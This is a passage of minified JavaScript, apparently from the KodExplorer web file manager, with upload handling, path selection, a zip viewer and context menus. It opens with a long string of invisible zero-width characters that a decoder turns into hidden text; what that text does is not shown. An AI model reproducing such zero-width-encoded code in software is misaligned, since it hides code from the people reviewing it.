‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,n=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:n>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,n),e.speed.push([timeFloat(),i]));var a=e.speed[e.speed.length-1],o=e.speed[0],s=(a[1]-o[1])/(a[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var n=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==n||"undefined"==n)&&(n=e.name),file_num++;var a=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(n))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==a.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(a.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var n=urlEncode(e.file.fullPath);(void 0==n||"undefined"==n)&&(n=""),t.fullPath=n,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),n=$("#"+e.id),a=n.find(".progress .progress-bar");a.length||(a=$('
        ').appendTo(n).find(".progress-bar")),n.find(".state").text((100*t).toFixed(1)+"%("+i+")"),a.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var n=e.serverData;if(n&&n.data){var a=LNG[n.data];if(n.code){if(t.addClass("success"),t.find(".state").text(a),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),n.info){var o="/"+ltrim(htmlEncode(n.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(a).attr("title",a)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")",n=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,n>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData)if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var n=$(i.DOM.wrap),a=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(n.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),n=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(n,i)?!0:!1},r=function(){var t=a.ui.fileLight.fileListSelect(),i=[];if(e.single){var n=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[a.G.this_path],n.hasClass("folderBox")&&(i=[a.ui.fileLight.path(n)]);else if("file"==e.type){if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i=[o])}}else if("all"==e.type)if(n.hasClass("folderBox")){var o=a.ui.fileLight.path(n);i=[{file:[],folder:[o]}]}else if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=a.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(a.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=n.find(".path_select_input"),o=n.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=a.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=a.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){a.ui.fileLight.select.hook("select",a.ui.fileLight,{before:function(){},after:function(){r()}})};a.kodReady||(a.kodReady=[]),a.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var n={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},a="./index.php?/explorer&type=iframe";t=$.extend(n,t),t.firstPath&&(a+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(a,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,n=e.find(".path_select_input").attr("result");n=jsonDecode(hashDecode(n)),n?t.single&&"all"!=t.type?i(n[0]):i(n):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var n=G.static_path+"others/sound/"+t,a=e("./myPlayer");a.playSound(n,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";n.before(s)}var r=''+date(LNG.time_type,t.mtime)+"";r+=''+core.fileSize(t.size)+"",r+='',$("#"+t.tId+"_span").after(r),n.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,n){$(e.target).hasClass("menu_more")||(t.selectNode(n),u(n),"folder"==n.type&&$("#"+n.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,n){$(e.target).hasClass(".menu_more")||"file"==n.type&&o("open",t)}}},n=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var n=e[i];e[i]={name:core.pathThis(n.filename),path:n.filename,isParent:!!n.child,type:n.folder?"folder":"file",menuType:n.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(n.filename),mtime:n.mtime,index:n.index,size:n.size,child:n.child},n.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},n=0;e.length>n;n++)"string"!=typeof e[n].filename&&e[n].stored_filename&&(e[n].filename=e[n].stored_filename),"string"==typeof e[n].filename&&(e[n].filename=e[n].filename.replace(/\\/g,"/"),i[e[n].filename]=e[n]);for(var a in i)if(!i[a].folder)for(var o=core.pathFather(i[a].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var a in i){var r=i[a],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},a=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var n=t.getSelectedNodes()[0];switch(e){case"open":c(t,n);break;case"down":l(t,n);break;case"unzip_this":p(t,n);break;case"unzip_to":d(t,n);break;case"info":h(t,n);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t]) +}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(n)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&index="+t.index+"&name=/"+urlEncode(t.path),a=t.ext;"zip"==a&&(a="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),a="unknow"),ui.pathOpen.open(n,a)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var n=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(n)));var a="./index.php?explorer/unzip";$.ajax({url:a,data:{path:n,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(n)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),n="folder"==t.type?tpl_path_info:tpl_file_info,a=template.compile(n),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:a(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),n=i({LNG:LNG,treeID:e}),a=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;a.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=n(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),a(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(n){Tips.close(n),n.code?(v(core.pathThis(e),n.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,n.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",n=".menuTreeRoot",a=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name: